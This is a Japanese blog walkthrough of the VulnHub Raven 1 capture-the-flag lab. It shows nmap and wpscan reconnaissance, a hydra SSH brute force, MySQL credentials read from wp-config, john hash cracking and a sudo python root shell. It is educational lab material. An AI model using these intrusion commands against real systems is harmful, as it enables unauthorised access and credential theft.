【VulnHub】Raven 1 walkthrough

VulnHubのRaven 1を実施

Raven: 1 ~ VulnHub

Ravenは初心者/中級者のboot2rootマシンです。見つけるべき4つのフラグと2つの意図的なルート取得方法があります。

4つもflagがあるとのこと

 

初期偵察

・netdiscoverでIPアドレスを特定

netdiscover -r 192.168.23.0/24
 

f:id:driasandlions55:20190201140222p:plain
IPアドレスは192.168.23.133

 

・公開されているポートを確認

nmap -sV -p- -A -n 192.168.23.133
 

f:id:driasandlions55:20190201140450p:plain

 

以下の情報を取得

  • 公開ポートは22,80,111,53746
  • Debian
  • Apache 2.4.10
  • OpenSSH 6.7.1

・Webページにアクセスしてみる

f:id:driasandlions55:20190201140752p:plain

Security Servicesという会社のページ

リンクをたどっていくとservice.htmlのコメントにflag1の記載発見

f:id:driasandlions55:20190201150150p:plain

またリンクをたどっていくとCMSWordpressを使用しているということはわかった。

f:id:driasandlions55:20190201141128p:plain

とりあえずwp-adminにアクセスしようとするとraven.localにリダイレクトされるので名前解決できるようにhostsに追加

f:id:driasandlions55:20190201143416p:plain

 

調べるとwordpressの初動調査にはwpscanというツールが有効であることが分かった。

以下のサイトを参考に使ってみる

www.denet.ad.jp

kali linuxでも標準で入っているようだ

f:id:driasandlions55:20190201151831p:plain

とりあえず使ってみる
 

f:id:driasandlions55:20190201152247p:plain

 様々な情報が出力される。
 
ユーザ情報を探すコマンドを実行
 

f:id:driasandlions55:20190205135132p:plain

 michaelとstevenというユーザがいることが分かった。

 パスワードをリストから検索するオプションもあったので試してみるも以下のようなエラーが出てしまいうまく実行できない。

wpscan --url raven.local/wordpress -U steven -P /usr/share/wordlists/rockyou.txt.gz
 

Scan Aborted: invalid byte sequence in UTF-8
Trace: /usr/lib/ruby/vendor_ruby/xmlrpc/create.rb:51:in `gsub!'
/usr/lib/ruby/vendor_ruby/xmlrpc/create.rb:51:in `text'
/usr/lib/ruby/vendor_ruby/xmlrpc/create.rb:21:in `tag'
/usr/lib/ruby/vendor_ruby/xmlrpc/create.rb:197:in `conv2value'
/usr/lib/ruby/vendor_ruby/xmlrpc/create.rb:119:in `block in methodCall'
/usr/lib/ruby/vendor_ruby/xmlrpc/create.rb:118:in `collect'
/usr/lib/ruby/vendor_ruby/xmlrpc/create.rb:118:in `methodCall'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/app/models/xml_rpc.rb:40:in `method_call'
/usr/share/rubygems-integration/all/gems/wpscan-3.4.2/app/finders/passwords/xml_rpc.rb:9:in `login_request'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/lib/cms_scanner/finders/finder/breadth_first_dictionary_attack.rb:32:in `block (2 levels) in attack'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/lib/cms_scanner/finders/finder/breadth_first_dictionary_attack.rb:31:in `each'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/lib/cms_scanner/finders/finder/breadth_first_dictionary_attack.rb:31:in `block in attack'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/lib/cms_scanner/finders/finder/breadth_first_dictionary_attack.rb:26:in `each'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/lib/cms_scanner/finders/finder/breadth_first_dictionary_attack.rb:26:in `attack'
/usr/share/rubygems-integration/all/gems/wpscan-3.4.2/app/controllers/password_attack.rb:40:in `run'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/lib/cms_scanner/controllers.rb:43:in `each'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/lib/cms_scanner/controllers.rb:43:in `run'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/lib/cms_scanner.rb:137:in `run'
/usr/share/rubygems-integration/all/gems/wpscan-3.4.2/bin/wpscan:15:in `block in <top (required)>'
/usr/share/rubygems-integration/all/gems/cms_scanner-0.0.41.1/lib/cms_scanner.rb:128:in `initialize'
/usr/share/rubygems-integration/all/gems/wpscan-3.4.2/bin/wpscan:5:in `new'
/usr/share/rubygems-integration/all/gems/wpscan-3.4.2/bin/wpscan:5:in `<top (required)>'
/usr/bin/wpscan:23:in `load'
/usr/bin/wpscan:23:in `<main>'

 

確認したところrubyバージョン2.5.0-2.5.3ではうまくいかないとのこと

バージョン2.4.5に下げるか2.6.0が出るのを待つしかないようだ。

github.com

侵入

パスワードを使いまわしていることも考えて以前覚えたhydraで

linuxのログインユーザにbluteforceを仕掛けてみる。

パスワードリストはkali linuxに標準で入っている/usr/share/wordlists/rockyou.txt.gz

 を使用する。

user.lstにはwpscanで得られた2つのユーザ名を記載した。

 hydra -L user.lst -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.23.133
 

f:id:driasandlions55:20190205141005p:plain

michaelユーザのパスワードがヒットしたので、sshでログイン
 ssh michael@192.168.23.133
 
とりあえず、flagを含むファイルがあるかどうかをfindコマンドで検索
find / -name flag* -print > aaa.txt
 標準エラー出力のみ画面に表示し、標準出力のみをファイルに出力
 

f:id:driasandlions55:20190205143019p:plain

/var/www配下にflag2.txtを発見
 

sbitやLinuxカーネルのバージョン確認を行う。

f:id:driasandlions55:20190205143407p:plain

権限昇格に使えそうなコマンドはない

Linuxカーネル情報配下の通り

Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux

 

LinEnum.shを使えばLinuxの情報を列挙できる。

以下からダウンロードする。

LinEnum/LinEnum.sh at master · rebootuser/LinEnum · GitHub

kali Linux側の公開サーバに置き、wgetで取得

f:id:driasandlions55:20190205154541p:plain

 

Listening TCPよりmysql127.0.0.1:3306)が起動していることがわかる。

f:id:driasandlions55:20190205155813p:plain

 

/var/www/html/wordpress/wp-config.txtにmysql関連の情報が記載されている

f:id:driasandlions55:20190205160101p:plain

 

得られた情報を元にmysqlにログイン

michael@Raven:/var/www/html/wordpress$ mysql -u root -pR@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 373
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.00 sec)

 

 wp_usersというテーブルにユーザ情報とみてテーブルデータを参照

f:id:driasandlions55:20190205160629p:plain

ユーザ名とパスワード(ハッシュ値)が格納されている

得られたハッシュ値パスワードクラックツールjohnを使用してパスワードクラックを実施

f:id:driasandlions55:20190205163306p:plain

stevenのパスワードも判明

得られたパスワードを用いて、wordpressの管理画面へログイン

f:id:driasandlions55:20190205163608p:plain

 Postsをたどっていくとflag3が得られた。

f:id:driasandlions55:20190205163754p:plain

あとflagは一つなので、rootに昇格すればflagがあるはず。

 

stevenユーザで先ほど得られたパスワードを用いsshでログインし、root権限で許可されているコマンドを確認

sudo -l

 

f:id:driasandlions55:20190205164458p:plain

 pythonが許可されているのでこれを利用して権限昇格を行う。

sudo python -c "import pty; pty.spawn('/bin/bash')"
 

f:id:driasandlions55:20190205164927p:plain

rootに昇格することができ、flag4.txtを入手